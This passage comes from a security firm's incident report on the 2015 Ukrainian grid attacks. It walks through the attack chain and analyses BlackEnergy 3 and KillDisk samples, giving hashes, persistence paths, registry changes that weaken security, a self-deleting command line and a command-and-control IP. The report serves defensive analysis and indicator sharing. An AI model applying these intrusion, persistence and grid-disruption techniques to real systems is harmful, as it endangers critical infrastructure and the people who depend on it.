boozallen.com/ics         27 ICS Monitoring (Powered by Splunk).
Leveraging our intelligence community work and our commercial Cyber Fusion Center offering, we help clients implement an end-to-end ICS monitoring solution that (1) instruments critical processes and data, (2) presents an operational dashboard that provides situational awareness of security and ICS-related events, (3) actively hunts for adversary and malicious activity across the OT network.
Our solution can be deployed not only to detect, flag, and manage OT incidents, but also provides insights into the plants security, safety, reliability, and performance using advanced analytics.
Industrial Incident Response (IR).
We work with clients to determine whether their OT IR strategy is sufficient to navigate a breach, developing a customized plan so you are ready to respond when a breach occurs.
It covers the entire OT environmentfrom plant manager, chief information security officer, and operators to legal, HR, and communicationsto clarify and test roles and procedures.
If you think youve been breached, our incident response team can be on the ground within 12 hours, bringing the experience, technical expertise, and equipment to eradicate bad actors from your critical operations network and shield your organizations most valuable assets.
Security Programs, Training, and Awareness.
We can provide the expertise to establish comprehensive training and awareness programs and to implement an overall security management framework.
We provide leader- ship in creating and implementing end-to-end security management programs covering risk assessment, architecture and threat mitigation, and ongoing compliance and monitoring programs.
As part of our training and aware- ness programs, we can create a training curriculum and communications plan targeted at education OT, ICS risk, and overall impact.
Booz Allens solutions are not driven by cyber for cybers sake but are focused on protecting your core operational functions improving safety, reliability, and process integrity and supporting regulatory compliance.
Our differentiated position allows you to become safer and more secureand able to compete in a challenging business and operational landscape.
For More Information BRAD MEDAIRY Senior Vice President medairy_bradbah.com 1-703-902-5948 SCOTT STABLES Chief Cyber Technologist stables_scottbah.com 1-630-776-7701 MATT THURSTON Lead Associate thurston_matthewbah.com 1-703-216-5259 28 Booz Allen Hamilton mailto:medairy_brad40bah.com20?subject mailto:stables_scottbah.com mailto:messer_angelabah.com This section is included to provide a more detailed textual summary of each of the steps outlined in the Attack Walk Through section of the report.
This includes citations for all referenced sources and discussion of the analyst assessments behind each step.
RECONNAISSANCE STEP 1: RECONNAISSANCE AND INTELLIGENCE GATHERING It is currently unknown why the particular three power distribution companies were targeted, though reconnaissance and intelligence gathering were likely used by threat actors to identify targets.
Threat actors may select several potential targets based on their strategic objectives, then use initial reconnaissance on these targets to narrow their focus and build their plan of attack.
Reconnaissance can be conducted actively or passively.
Active reconnaissance includes direct interactions with the targeted network, such as port scanning, whereas passive reconnaissance includes activities such as open-source intelligence gathering.
Open-source intelligence gathering can also provide key situational information about the types of technologies deployed by potential targets, associated vulnerabilities, and possible attack vectors available to threat actors.
Valuable targeting data, such as information on the type and kilo-voltage of hardware deployed at substations, specific model information on devices used in operators control environ- ment,75,76,77,78 and likely types of operating systems used at workstations in the control environment,79 is available on publicly accessible websites.
WEAPONIZATION STEP 2: MALWARE DEVELOPMENT AND WEAPONIZATION To gain unauthorized network access, attackers may target vulnerabilities in web-facing infra- structure, or develop weaponized files to deliver to users on the network.
In taking a weaponiza- tion approach, attackers modify common file types, such as .pdf or .doc files, to exploit vulnerabilities in the programs used to view and edit the specific file type.
Alternatively, the attackers may use social engineering tactics to encourage targeted users to enable content such as Visual Basic (VB) macro scripts.
These weaponized files can be delivered to specific individuals in an organization or sent to large numbers of users, depending the level of targeting conducted by the threat actor.
Ultimately, both techniques result in installation of malware, which can be used as a means to enable remote access.80 In the Ukraine attacks, threat actors gained access to targeted networks using weaponized Microsoft (MS) Office files, specifically Word and Excel,81,82 by embedding BlackEnergy (BE) 3 malware in VB scripts.j  The BE malware embedded in the weaponized files was also specifically modified for the attacks.
Public reporting on BE3 samples gathered in 2015 indicates the attackers had added functionality to the malware to support specific, internal proxy servers in establishing command-and- control (CC) connections.83,84 This indicates the attackers had already gathered network infrastruc- ture details prior to delivery of the updated malware85 and modified the malware packages based on infrastructure at their targets.
A P P E N D I X  A : Detailed Textual Description of Attack Walk Through j.
An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. boozallen.com/ics         29 DELIVERY STEP 3: DELIVER REMOTE ACCESS TROJAN (RAT) Public reporting consistently indicates that phishing was the initial delivery method, though the exact timeframe in which initial access was established is not confirmed.
Ukraines Deputy Energy Minister stated threat actors had access no less than six months prior to the attack.86 Other reporting indicates the phishing campaign began on or around March 2015 and continued through January 20, 2016.87 This March 2015 campaign used weaponized MS Office files to deliver malware via phishing attacks to many Ukrainian organizations, including the three distributors hit in the December 2015 attacks.88 The earliest phishing attacks using weaponized MS Office documents to deliver BE malware against Prykarpattyaoblenergo were observed in May 12, 2014,89 a year and a half before the grid disrup- tions in December 2015.
This attack also targeted a range of Ukrainian businesses,90 including all six of Ukraines railway operators managed by Ukrzaliznytsya, the State Administration of Railway Transport of Ukraine.91 Each of these phishing attacks may have been part of a broad reconnaissance and intelligence gathering effort, and the ultimate objective of causing a destructive industrial control systems (ICS) attack may have developed later on.92 In addition, while BE was the primary malware delivered to targeted networks, other RATs, including GCat,93 Dropbear,94 and Kryptik95 were recovered in the investigation following the grid disruption in December 2015.96,k EXPLOITATION AND INSTALLATION STEP 4: INSTALL RAT BE3 malware was embedded in malicious MS Office files, which were sent to operators in a wide-reaching phishing campaign.
Upon delivery, when recipients opened the weaponized docu- ments, they were presented with an onscreen prompt to enable the macro function for the weaponized files to execute.97 No exploit code was used to initially deliver BE onto targeted networks.98 Using permissions granted by the user when macros were enabled, the VBA script dropped the persistent malware files on disk at workstations of targeted employees.l COMMAND AND CONTROL STEP 5: ESTABLISH CC CONNECTION The primary function of BE3 malware is to establish a hook into targeted networks, enable persistent, unauthorized access, and use this access to gather intelligence on the targeted systems.
The first step in this process is estab- lishing a connection with an external CC server.
After installation, the BE implant modifies in-registry Internet settings and MS Internet Explorer security settings, then uses HTTP POST requests to contact an external CC server.m k. Additional discussion of the alternate RATs observed on the electricity distributor networks is provided in Appendix D. l. By analyzing the weaponized files, the step-by-step process the BE malware executed to insert itself into targeted networks is revealed.
A detailed summary of the infection routine for recovered malware samples used in the Ukraine attacks in included in Appendix B. m. Additional details on communication process are provided in Appendix B.
30 Booz Allen Hamilton ACTION ON OBJECTIVES: INTERNAL RECONNAISSANCE AND LATERAL MOVEMENT STEP 6: DELIVER MALWARE PLUGINS After establishing connections to the delivered BE implant, attackers used this access to acquire employee credentials, allowing them to use existing remote access services to maintain a presence on the network.99 Specific details on how the credentials were harvested are not publicly reported, though analysis of the BE malware provides some insight into the methods threat actors may have leveraged.
One of the key features of BE is its modular nature and ability to download plugins designed for many different tasks.100,n Once loaded onto a targeted system, and having established connections with the CC server, BE3 is capable of receiving a range of commands, including uninstall, load or unload plugin, update DLL, download and execute executable, download and execute a binary, or update configuration data.101 After loading any plugins, the BE3 implant communicates with them internally using remote procedure calls (RPC) over named pipes.102 The threat actors likely down- loaded several plugins onto the targeted networks, following the initial infection, and used these plugins in several stages of the attack, including the harvest of user credentials.
STEP 7: HARVEST CREDENTIALS Credential harvesting was likely an iterative process beginning with malware exfiltration then shifting to direct interaction with deployed systems by the attackers.
Credentials can be stolen using a wide range of the methods, such as social engineering, keylogging, or targeting of specific applications, such as password managers.
In the Ukraine attacks, credentials were likely collected using associated BE plugins specifically designed for this task.
The plugins likely used to harvest credentials in the Ukraine attack are the PS.dll plugin, designed to harvest stored user credentials,103 SI.dll plugin, which gathers system data and stored passwords from a range of applications,104 and the KI.dll plugin, which logs keystrokes.105,o In at least one instance, attackers used their access to create additional, unauthorized domain accounts.106 Other reporting n. An in-depth discussion of BE capabilities for receiving and communicating with plugins, as well as the capabilities and functions of identified plugins are detailed in Appendix B and Appendix C. o.
Additional detail on these plugins is provided in Appendix C.  boozallen.com/ics         31 indicates the attackers eventually gained access to Windows domain controllers, where they gathered credentials for the virtual private network (VPN) used by grid operators to access the control network remotely.107 In the attack against the Ukrainian media outlets,p attackers used VPN to access an administrator account then used remote desktop protocol (RDP) service from the administrators account to access the domain controller.108 It is plausible that threat actors repeated this tactic against the electricity distributors.
Once the attackers had valid credentials, the attackers likely shifted away from this initial hook into the network provided by the BE implant in favor of native remote access services such as VPN.109 The benefit of shifting away from the network access provided by the malware, and establishing multiple lines of communication, is that it supports persistent access and minimizes visibility of malicious activity.110 If any one connection is discovered and removed, threat actors have redundant connections, and, by using trusted communications, threat actor activity blends in with normal traffic of authorized users.111 STEP 8: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON CORPORATE NETWORK Little information is publicly available on the lateral movement and internal reconnaissance efforts, though the list of targets in the final attack indicate extensive network discovery.
Targeted systems include networked uninterruptable power supply (UPS) devices, data center servers, a telephone communications server, and employee worksta- tions.112 This movement likely involved a range of activities over a lengthy period, including gathering of credentials, and identification of potential targets and services to be leveraged in the attack.113 As with the initial credential harvesting, network discovery was likely aided with dedicated BE plugins, specifically the VS.dll plugin.
VS.dll scans for connected network resources, attempts to retrieve remote desktop credentials, and establishes connections to remote systems using the MS Sysinternals PsExec tool.114 In the attack against Ukrainian media outlets,q anomalous use of PsExec to enumerate and establish remote access to networked systems was logged on administrator workstations.115 Threat actors may have used this same tactic two months later against the three electricity distributors.
STEP 9: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON ICS NETWORK Ultimately, after gaining initial access to the corporate network and harvesting valid user credentials, the threat actors were able to navigate successfully from the corporate IT network into the control environment, hosting the human machine interface (HMI) workstations, distributed management system (DMS) servers, and networked field devices.
Threat actors used valid credentials to establish at least two pathways into the control environment these included remote administration tools to access operator worksta- tions and VPN services to interact directly with the client application for the DMS server.116 As noted above, public reporting indicates VPN credentials for the control environment may have been recovered from Windows domain controllers.117 Access to the HMI workstations and DMS application was likely sufficient for threat actors to p. The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk.
q.
The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk.
32 Booz Allen Hamilton enumerate all of the networked devices.
Unlike corporate networks, ICS networks often follow a hub-and-spoke orientation, with a single, central- ized control point.
It is unlikely the threat actors used the associated BE network discovery plugins referenced above using active discovery methods, such as scanning, may interfere with necessary communications or cause communication cards to fail.118 Systems identified during this reconnais- sance phase, and targeted in the final attack, include HMI workstations, DMS servers, control center UPS,119 serial-to-Ethernet converters, and the substation breakers.120 Though this attack was conducted remotely using valid credentials, tampering with the physical network connections to field devices, such as RJ45 or Fiber cabling, can provide another method to gain network access.
A mitigation strategy to prevent malicious code or a laptop from entering the network could be something as simple as a sticky MAC program, whereby the network switch port is configured to whitelist the unique MAC address of a specific intelligent controller, and becomes disabled in the event the field device gets disconnected.
Similarly, if the network includes wireless telemetry, this could also provide an entry-point for attackers.
This risk can be mitigated using FIPS 140-2 or similar encryption technology.
During their target selection process, threat actors likely used their network access to familiarize themselves with ICS configuration, interfaces, command processes, and other operational details of systems at each organization.
Even if threat actors are familiar with the deployed devices and applications, often system configurations will be customized at individual facilities based on operator needs or preferences.
Prior to the final attack, the attackers learned how to direct the DMS at each of the three companies, using the existing controls and HMI displays.121 Because this activity was likely executed on the operator network, little forensic information on this process was generated.122 ACTION ON OBJECTIVES: ATTACK PREPARATION STEP 10: DEVELOP MALICIOUS FIRMWARE This incident was the first instance where threat actors developed malicious firmware update for a specific attack.123 In conducting a firmware attack, threat actors will push an update that will either patch or completely replace the old firmware.
This is often done in an unauthenticated manner without any verification that the new or updated firmware is valid.
Alternatively, in some attacks threat actors have compromised vendor websites and hosted weaponized firmware to be down- loaded and installed by operators.124 Typically, the system running the firmware will be rebooted for the new firmware to be fully installed and operational.
At this point, anything malicious that has been added to the firmware will have a chance to execute, depending on how the code is designed this could be immediately upon reboot, or may be based on some trigger.
Samples of the malicious firmware used in the Ukraine attacks were not recovered, and specific detail on the execution process could not be derived.
Well-resourced and highly organized groups may also conduct testing of malware or exploit code intended for use on targeted systems.125 Threat actors may obtain specific ICS hardware or boozallen.com/ics         33 software, and configure them to match the operator environment.126 Investigators assessed that it is unlikely the threat actors executed the attacks in Ukraine without some level of prior capability testing, particularly the malicious firmware updates.127 Given the apparent resources and professionalism of the group, outside observers assessed the threat actors may have used systems of their own to confirm the effectiveness of the modified firmware used in the final stages of the attack.128 STEP 11: DELIVER DATA DESTRUCTION MALWARE In addition to opening breakers, the threat actors also used a data destruction malware, known as KillDisk, at all three distributors to wreak havoc on networked machines.
Threat actors have used both KillDisk and BE3 malware together in multiple attacks,129 but analysis of recovered samples of BE3 does not indicate any technical link between the two malware applications.
KillDisk is a separate, standalone executable (.exe) file used in conjunction with BE3 during the attack.
The malware was likely loaded onto targeted networks as one of the final prepara- tions directly prior to attackers opening the breakers.
Public reporting indicates that the KillDisk malware may have been set as a logic bomb when placed on targeted machines, with a specific time delay before the destructive functions of the malware executed.130 This would ensure data destruction would coincide with, or shortly follow, the attacks against breakers.
The use of an internal scheduling function is unlikely BE has an associated data destruction plugin, DSTR.dll, which includes an execution time in its configuration data, but recovered KillDisk samples did not include any such capability.
In the attack against Ukrainian media outlets,r attackers placed KillDisk malware on a network share and used a compromised adminis- trator account to access domain controller servers.131 On the domain controller servers, they scheduled a policy for every workstation to retrieve and execute the file following reboot.132 Public reporting indicates that, in the attack against electricity distributors, credentials were retrieved from compromised domain controllers133 and that UPS disruptions triggered KillDisk execution on data center servers.134 Both of these claims support the assessment that the tactic used in the media attack was also used against the electricity distributors.
Attackers may have also used administrator access to remotely schedule retrieval and execution of the malware using Windows Task Scheduler on high-priority target machines.135 This method was also used in the Ukrainian media r. The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and Killdisk.
34 Booz Allen Hamilton attack as a contingency measure to ensure the data destruction attack would be successful should the domain controller server crash.136 STEP 12: SCHEDULE UPS DISRUPTION Attacks against operators UPS systems were conducted against at least two of the three affected power distributors.137 UPS outages were scheduled using remote management interfaces,138 and affected devices included an internal telephony communications server at one firm and the main data center at a second operator.139 Public reporting also indicates the UPS outages affected two of the control centers, disabling the ability of operators to monitor the control network.140 In disrupting the telephony server, the attackers severed internal communications across the firm and with workers at remote sites.
In the attack against the data center, the scheduled outage was entered directly preceding the malicious interactions with the firms substation breakers, and was set to execute several hours following the attack.141 In this attack, public reporting indicates that the server reboot caused by the power disruption also triggered the disk-wiping function of the KillDisk malware, which had been loaded onto the systems.142 Some UPS network management cards support remote monitoring and control via web browser, command line interface, or SNMP, enabling reboot and scheduling of shutdowns.143 Details on the specific UPS devices deployed by each of the distributors was not found in public reporting, so the remote access services used to access the devices cannot be confirmed.
In addition, while the threat actors likely used valid credentials in this attack, vulnerabilities such as cross-site scripting have been identified in some UPS management devices.144 This component of the attack is not technically complex, but it serves as an effective illustration of the level of organization exhibited in this multifac- eted attack.
Two of the reported UPS disruptions were essentially direct threat actor interactions with two systems, using remote access, to cause second-order effects (i.e., server backup power loss), which triggered malware execution upon reboot for one target, and mirrored the communi- cation disruption (i.e., telephony denial of service [TDoS]) of a nearly simultaneous attack against another target.
The attacks also highlight the dependencies of computer network components on peripheral systems, such as power supply, HVAC, or even physical security.
Vulnerabilities in these systems may be used by threat actors as additional means of accessing or interfering with network devices.
ACTION ON OBJECTIVES: EXECUTE ATTACK STEP 13: TRIP BREAKERS After months of clandestine access, reconnais- sance, and preparation, the threat actors executed the final step in their attack: disrupting operation of the electrical grid itself.
Using existing remote access tools similar to RDP and Radmin,145 threat actors took control of employee workstations hosting the HMI and actively issued commands to open individual breakers across the managed substations.
During the attack, users sitting at the workstation could observe the commands being issued but were unable to use their mouse and keyboard to interfere with the attack.146 In some instances, the attacks also used an existing DMS client application to send commands to open breakers directly to the DMS server using their VPN access.147 The direct interactions with DMS boozallen.com/ics         35 and employee workstations were conducted by multiple threat actors, and were all conducted within a 30-minute window148 at some point between 15:30 and 16:30 local time.149 Investigators noted that, prior to execution of the final attack, the threat actors modified passwords for some users to lock them out of the system during recovery.150 In all, the attackers opened breakers in at least 57 substations.
Though complete details on the extent of the attack are not publicly available, one of the three operators, Prykarpattyaoblenergo, indicated that 27 of its substations were taken offline, resulting in complete blackouts across 103 cities and partial blackouts in an additional 186 cities.151 Kyivoblenergo indicated that seven of its 110kV substations and 23 of its 35kV substations were taken offline, disconnecting power for 80,000 customers.152 Impacts on the infrastruc- ture of Chernivtsioblenergo were not found in public reporting.
STEP 14: SEVER CONNECTION TO FIELD DEVICES Public reporting indicates that the updates were pushed to each of the devices within a short period, and the firmware itself was uniform across the targeted converters.153 With the communica- tions between the control center and field devices severed, even after control of the network was restored, the breakers could not be closed remotely and technicians had to manually close them at each substation.154 Manually resetting the breakers, the technicians were able to restore power to customers within three to six hours.155 Ultimately, neither the operator nor the manufac- turer was able to restore the devices following the malicious update, which forced operators to replace all targeted devices.156 At least 16 substa- tions were disconnected from the control network using the malicious firmware updates.157 The two converters targeted in the attack were the Moxa UC 7408-LX-Plus and the IRZRUH2 3G.158 While both of these devices support firmware updates by authorized users, indicating the attackers may have used the credentials harvested earlier in the attack to push the malicious updates,159 they are also both susceptible to known vulnerabilities.
The Moxa device includes an extensive number of vulnerabilities, and the source code itself is publicly available access to the source code is of particular concern, as it would allow threat actors to directly examine the code for vulnerabilities.
The identified Moxa firmware vulnerabilities included arbitrary code execution160 and multiple remote denial-of-service (DoS) vulnerabilities161,162 in addition, several of the fixes for the device were incomplete, leading to follow-on vulnerabili- ties.163,164 Though the iRZ-RUH2 was relatively more secure and source code for the firmware did not appear to be publicly available, the device still included a least one vulnerability that would allow an authorized user to remotely update the firmware with an unvalidated patch.165 STEP 15: TDOS ATTACK In an apparent attempt to block incoming communications, threat actors also conducted a 36 Booz Allen Hamilton TDoS attack against at least one operator.
TDoS attacks are similar to DoS attacks against webservers or other data network systems a flood of communication traffic is used to block legiti- mate communications by overwhelming infra- structure bandwidth or call-center staff.166 Public reporting indicates that directly prior to opening breakers, one of the operators began receiving thousands of calls at its call centers that appeared to be coming from Moscow.167,168 By preventing operators from receiving outage reports, threat actors may have intended to mask the impact of the outage and possibly draw out recovery time.
Alternatively, investiga- tors also noted the TDoS attacks may have been focused on blocking callers from receiving information, in order to create greater confusion and frustration toward the operators among their customer base.169 It is highly likely the TDoS attack in Ukraine was conducted using automated tools, though specific details regarding how the TDoS attack was conducted are not documented in public sources.
While not as common as DoS attacks against data networks, there are existing tools to automate the process.
Free software, including Asterisk IP PBX and SIP call generator, can be used by attackers to send floods of robocalls at targeted systems.170 Similar to DoS attacks, TDoS floods can be amplified using distributed botnets, and paid services to launch TDoS attacks have also been observed in criminal forums.171 Previously, TDoS attacks have been used to target firms in the financial sector and emergency responder call centers in the US.172 The attacks against emer- gency responders were principally conducted by criminal groups as part of extortion operations.173 STEP 16: DISABLE CRITICAL SYSTEMS VIA UPS OUTAGE As noted above, the UPS disruptions were likely scheduled in advance of the final attack on the substation breakers.
The targeted systems included a telephone communication server and data center servers.174 Public reporting also indicated the disruption impacted control center systems, though specific details on targeted devices were not provided.175 STEP 17: DESTROY CRITICAL SYSTEM DATA KillDisk was retrieved and executed on networked devices at all three distributors.176 The malware overwrote the master boot record (MBR), and in some instances continued to overwrite additional data on disk.
Several variants of KillDisk malware were used in the attack execution routine and extent of data destruction varied.s Affected machines were rendered completely inoperable, adding an additional burden on incident responders and ultimately driving up recovery costs to replace targeted devices.
Disk-wiping attacks were not executed against all network devices.
Targets were primarily on operators enterprise networks, particularly servers and hosts used by management, human resources, and finance staff, though the attackers also destroyed at least one remote terminal unit (RTU) with an embedded windows HMI card.177 s. An in depth analysis of each of the recovered Killdisk samples is provided in Appendix B, including assessments of key variations between execution routines.
boozallen.com/ics         37 The malware samples analyzed for this report can be categorized into four distinct groups.
These groups include: Weaponized files used to deliver malware to targeted systems Malicious scripts embedded in the weaponized files used to install a persistent implant Persistent implants used to provide remote access onto the network Additional destructive malware, specifically the KillDisk malware, used to overwrite data during the final stages of the attack.
Samples from each of these categories are detailed in the following sections.
Though predominantly BlackEnergy (BE) samples, a weaponized version of Dropbear server, and an associated Visual Basic (VB) dropper are also detailed.
Multiple samples of the KillDisk malware were analyzed for this report.
Samples analyzed for this report were gathered using the Virus Total Intelligence (VTI) service.
The First Upload, Final Modification, Language Settings, and File Name data in the malware analysis tables were gathered from the VTI summary for the reported sample.
DELIVERY MALWARE Most public reporting on the December 2015 attacks indicate that the malware was initially delivered to targeted networks using weaponized Microsoft (MS) Office documents.
Several recovered samples indicate attackers had some variation in their delivery method.
Recovered samples included both a weaponized MS Excelt file and a weaponized MS Word document.u Samples of BE2 recovered following an attack on a Ukrainian news outlet in October 2015178 indicate the threat actors may have also embedded malware in a compromised Cyberlink PowerDVD 10 binaryv (a movie/media player) or a file designed to look like Cyberlink PowerDVD 10 via string analysis.
This particular sample file functioned as an installer, delivering a BE2 implantw and encrypted configurationx file to the targeted system.
Though not definitively conducted by the same group behind the attacks against the electricity distributors, the attack on the Ukrainian media outlet, which was conducted on Ukraines election day, shared the common tactics, techniques, and procedures (TTP) of using a combination of BE malware and KillDisk malware to destroy critical data.179 A P P E N D I X  B : Malware Samples t. Appendix B.1: Weaponized MS Excel (1.xls) (MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) u.
Appendix B.2: Weaponized MS Word (RR143TB.doc) (MD5: e15b36c2e394d599a8ab352159089dd2) v. Appendix B.5: BE2 Installer (Undisclosed) (MD5: 1d6d926f9287b4e4cb5bfc271a164f51) w. Appendix B.11: Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) x.
Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) 38 Booz Allen Hamilton A P P E N D I X  B .
1 : WEAPONIZED MS EXCEL (1.XLS)y SHA1: aa67ca4fb712374f5301d1d2bab0ac66107a4df1 SHA-256: 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4 MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732 Type: Microsoft Office Excel180 First Upload: 2015-08-03 10:37:19181 Compile Timestamp: 2015-02-04 07:35:08182 Final Modification Timestamp: 2015-03-18 07:41:04183 File Size: 734720 bytes184 Language Settings: Code_page is Cyrillic185 File Names: 1.xls186 Technical Notes: This is a weaponized MS Excel file used to deliver BE3 malware.187 Upon opening the file, users are prompted to enable macros.
The spreadsheet includes an embedded VBA macro that executes when users enable the macro functionality.
The associated VBA macro is a BE3 installer.188 Related Samples: 1.
Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) (MD5: abeab18ebae2c3e445699d256d5f5fb1) 2.
Appendix B.6: Dropbear Installer (DropbearRun.vbs) (MD5: 0af5b1e8eaf5ee4bd05227bf53050770)189 A P P E N D I X  B .
2 : WEAPONIZED MS WORD (RR143TB.DOC)z SHA1: 28719979d7ac8038f24ee0c15114c4a463be85fb SHA-256: 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81 MD5: e15b36c2e394d599a8ab352159089dd2 Type: Microsoft Office Word190 First Upload: 2016-01-20 08:03:52 UTC191 Compile Timestamp: 2015-07-27 10:21:00192 Final Modification Timestamp: 2015-07-27 10:21:00193 File Size: 1194496 bytes Language Settings: Code_page is Cyrillic194 File Names: RR143TB.doc195 Technical Notes: This is a weaponized MS Word file, with an embedded BE3 installer.196 Upon opening the file, users are prompted to enable macros, allowing the execution of the BE3 installer.197 Additional details on the infection routine are provided in Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1).
Related Samples: 1.
Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1) (MD5: ac2d7f21c826ce0c449481f79138aebd) y.
A sample of this file was not recovered.
The technical notes provided are based on the cited reporting.
z.
A sample of this file was not recovered.
The technical notes provided are based on the cited reporting.
boozallen.com/ics         39 MALWARE INSTALLERS In an analysis of a weaponized MS Excel fileaa first observed in August 2015 and most recently reported in January 2015, BE3 malware was found embedded in VB code attached as a macro title: M 609230 _VBA_PROJECT_CUR/VBA/ Workbook________.198 By using weaponized macros as the attack vector, the threat actors were reliant on users actively enabling macros before they could execute.
Samples of the malicious VBA scripts recovered are detailed in Appendix B.3 and Appendix B.4.
Following delivery, users enabled macros in the weaponized document, allowing the embedded macros to execute.
The executable calls ENVIRON(TMP) and saves the file, vba_macro.
exe in the Widows TMP directory.199 Once saved to disk, the file drops FONTCACHE.DAT (which is a dynamic-link library file), rundll32.exe (which is the standard utility for running .dll files on machines with Windows operating system [OS]), NTUSER.
LOG (which is an empty file) and desktop.ini, the default file used to determine folder displays on windows machines.200 FONTCACHE.DAT serves as the primary BE3 implant, and as noted above, some observed samples have been packed with the tElock packer.
FONTCACHE.DAT is dropped into the local application data folder, and a .lnk file is created in the startup folder, which functions as a shortcut to execute using rundll32.exe.201 The .lnk file name is generated off the volume serial number.ab,202,203 Following delivery of FONTCACHE.DAT, and the associated .lnk file, the original executable, vba_macro.exe, is deleted.204 aa.
Analysis details for this sample provided in Appendix B.1.
ab.
An example path for the .lnk file would be: C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ Startup\9980061D-64BB-46BC-8AC6-D9AC3DB67577.lnk40 Booz Allen Hamilton A P P E N D I X  B .
3 : BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 1) SHA1: 4184888c26778f5596d6e8d83624512ed2f045dd SHA-256: ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525 MD5: ac2d7f21c826ce0c449481f79138aebd Type: Win32 Executable205 First Upload: 2016-01-29 01:59:28 UTC206 Compile Timestamp: 1979-01-28 00:25:53207 Final Modification Timestamp: Undisclosed File Size: 110592 bytes208 Language Settings: Japanese209 File Names:210 CPLEXE.EXE (original name) MS-IME (Internal Name) virus_04.exe vba_macro.exe Technical Notes: At execution: 1.
The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ Application Data\FONTCACHE.DAT (size 56,832) 2.
And installs persistence: a.
C:\Documents and Settings\useradm\Start Menu\Programs\Startup\C323A392-5BB0- 47D5-9518-E60202A85B5C.lnk (size 1,682) 3.
Weakens Internet settings in registry to lower Internet security: a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ProxyBypass (sets to 1) b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntranetName (sets to 1) c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UNCAsIntranet (sets to 1) 4.
It launches (in this case PID: 936) Command line: C:\WINDOWS\system32\rundll32.exe C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE.
DAT,1 a.
Further weakening Internet Explorer settings: i. HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled (sets to 0) ii.
HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to 1) iii.
HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to 1) iv.
[
Amongst some other I.E.
settings] b.
And loads BE into svchost.exe -DcomLaunch boozallen.com/ics         41 5.
It then launches (in this case PID: 1804) Command line: /s /c for /L i in (1,1,100) do (attrib h C:\DOCUME1\useradm\Desktop\CA7A811.EXE  del /A:h /F C:\DOCUME1\ useradm\Desktop\CA7A811.EXE  ping localhost -n 2  if not exist C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE.DAT Exit 1) a.
This self deletes its installer 6.
svchost.exe -DcomLaunch launches iexplorer.exe a.
C:\Program Files\Internet Explorer\iexplore.exe -Embedding i. which beacons to 5.149.254.114:80 This sample differs only slightly from Sample 2 (MD5:abeab18ebae2c3e445699d256d5f5fb1), in that this sample (MD5:ac2d7f21c826ce0c449481f79138aebd) has a rundll32.exe that remains visible in the process list on the victim throughout the initial infection and following every reboot.
The following sample does not have this indicator of compromise, as the rundll32 process is only visible for a short period following the initial infection.
Related Samples: 1.
Appendix B.7: BE3 Implant (Fontcache.dat, Sample 1) (MD5: 3fa9130c9ec44e36e52142f3688313ff) 2.
Appendix B.9: BE3 Implant (.LNK Persistence Mechanism, Sample 1) (MD5: 40c74556c36fa14664d9059ad05ca9d3) A P P E N D I X  B .
4 : BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 2) SHA1: 4c424d5c8cfedf8d2164b9f833f7c631f94c5a4c SHA-256: 07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660 MD5: abeab18ebae2c3e445699d256d5f5fb1 Type: Win32 Executable211 First Upload: 2015-08-03 10:37:19212 Compile Timestamp: 1979-01-28 00:25:53213 Final Modification Timestamp: Undisclosed File Size: 98304 bytes214 Language Settings: Japanese215 File Names:216 vba_macro MS-IME icshextobin.exe BlackEnergy.exe vba_macro.exe CPLEXE.EXE 1.exe 42 Booz Allen Hamilton Technical Notes: This installer follows a routine very similar to the sample detailed in Appendix B.4 (MD5: ac2d7f21c- 826ce0c449481f79138aebd) in fact, 33 of its code is shared with that sample.
At execution: 1.
The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ Application Data\FONTCACHE.DAT (size 55,808) 2.
The installer then delivers the persistent .link file at C:\Documents and Settings\useradm\ Start Menu\Programs\Startup\C323A392-5BB0-47D5-9518-E60202A85B5C.lnk (size 1,682) a. this .lnk calls rundll32.exe to execute FONTCACHE at system startup 3.
Weakens internet settings in registry to lower Internet security: a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ProxyBypass (sets to 1) b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ IntranetName (sets to 1) c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UNCAsIntranet (sets to 1) 4.
Launches (in this case PID: 2696) Command line: C:\WINDOWS\system32\rundll32.exe C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE.
DAT,1 a.
